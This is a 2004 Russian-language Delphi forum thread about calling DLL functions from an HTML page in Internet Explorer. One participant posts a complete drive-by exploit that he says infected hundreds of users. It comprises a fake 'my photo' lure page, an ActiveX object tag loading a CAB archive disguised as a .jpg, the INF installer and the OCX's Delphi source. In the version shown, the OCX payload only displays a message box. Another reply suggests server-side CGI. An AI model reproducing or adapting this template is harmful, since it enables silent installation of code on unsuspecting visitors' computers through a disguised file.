Форум: "Основная";
Текущий архив: 2004.11.07;
Скачать: [xml.tar.bz2];
ВнизИспользование dll в html-файле Найти похожие ветки
← →
S-Lok (2004-10-24 23:03) [0]Мне вот надо использовать в html-файле некоторую процедуру из моей Delphi-программы (причем html-файл должен открываться Internet Explorer"ом). Знаю, как это можно реализовать при помощи компонента ActiveX. Но вроде бы, эту же процедуру можно объявить в dll-файле. Как мне тогда обратиться к этой dll и к этой процедуре из html-файла?
← →
Gero © (2004-10-24 23:05) [1]Мда, если бы html - страницы умели dll"ки грузить и функции из них вызывать - вот весело было бы...
← →
kaZaNoVa © (2004-10-24 23:05) [2]если ты из html откроешь dll, то тебе позавидуют все виросописатели мира !
//я раньше делал так с OCX - но после 2 SP в ХР и в 2003 винде не пашет ..
← →
kaZaNoVa © (2004-10-24 23:06) [3]Gero © (24.10.04 23:05) [1]
а ведь можно ! - раньше было .. ;)
← →
Gero © (2004-10-24 23:07) [4]
> а ведь можно ! - раньше было
Да ну.
Ссылка имеется?
← →
kaZaNoVa © (2004-10-24 23:07) [5]
<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
вот ;)))))))))))))))))0
← →
kaZaNoVa © (2004-10-24 23:08) [6]Gero © (24.10.04 23:07) [4]
эх ссылка была .. и не один человек попался .. (не одна сотня ..)
- знакомый один делал ..
← →
Gero © (2004-10-24 23:09) [7]
> kaZaNoVa © (24.10.04 23:08)
> object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6"
Это не dll.
← →
kaZaNoVa © (2004-10-24 23:10) [8]Gero © (24.10.04 23:09) [7]
там был cab архив с длл .. :)
- не веришь ?
- весь эксплоит выложить ?
← →
kaZaNoVa © (2004-10-24 23:11) [9]а расширение jpg - тока для маскировки ... ;)
← →
Gero © (2004-10-24 23:12) [10]
> kaZaNoVa © (24.10.04 23:10)
> там был
Где был?
> не веришь ?
Нет.
> весь эксплоит выложить ?
Как хочешь.
← →
kaZaNoVa © (2004-10-24 23:17) [11]ну, это уже не актуально .. так что выкладываю - пашет тока в 98, 2000, XP без 2 SP
html код:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Моя фотка</title>
</head>
<body>
<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
Ну, как те моя фотка ?<br> - щас должна уже загрузиться ...<br>
- если не видно, проверьте настройки браузера ..
<br><br><br>
P.S. для просмотра требуется браузер INTERNET Explorer !
</body>
</html>
создаётся файл fotoarxiv.jpg - это CAB архив, внутри его 2 файла:
axhole.inf
axhole.ocx
содержание axhole.inf
[Version]
Signature="$Chicago$"
AdvancedINF=2.5
[DefaultInstall]
CopyFiles=FileList
RegisterOCXs=OCXSection
[DefaultUninstall]
Delfiles=FileList
UnRegisterOCXs=OCXSection
[OCXSection]
%11%\axhole.ocx
[FileList]
AXHOLE.OCX,,,33
[DestinationDirs]
FileList=11
исходник axhole.ocxlibrary Project1;
{$I-}
uses
Windows,Shellapi;
Procedure DllGetClassObject;
Begin end;
Procedure DllRegisterServer;
Begin end;
Procedure DllUnregisterServer;
Begin end;
Procedure DllCanUnloadNow;
Begin end;
exports
DllGetClassObject,
DllRegisterServer,
DllUnregisterServer,
DllCanUnloadNow;
begin
MessageBox(0,"Если видна эта мессага-код из дллки работает","Are you Ready ?",0);
end.
← →
kaZaNoVa © (2004-10-24 23:19) [12]это раньше РЕАЛЬНО работало при открытии в ИЕ со стандартными настройками ..
← →
kaZaNoVa © (2004-10-24 23:20) [13]ps не веришь - проверь :))
то нужны права админа (кажется) и включено "загружать неподписанные ActiveX"
← →
S-Lok (2004-10-25 15:37) [14]Тогда скажите, теоретически возможно ли каким-то еще способом, кроме ActiveX, выполнять на html-странице функции из Delphi?
← →
panov © (2004-10-25 16:41) [15]>S-Lok (25.10.04 15:37) [14]
Использовать написанный в Delphi свой CGI на стороне сервера.
← →
kaZaNoVa © (2004-10-25 18:28) [16]panov © (25.10.04 16:41) [15]
точно, и эксплойты не потребуются ;)))
Страницы: 1 вся ветка
Форум: "Основная";
Текущий архив: 2004.11.07;
Скачать: [xml.tar.bz2];
Память: 0.48 MB
Время: 0.037 c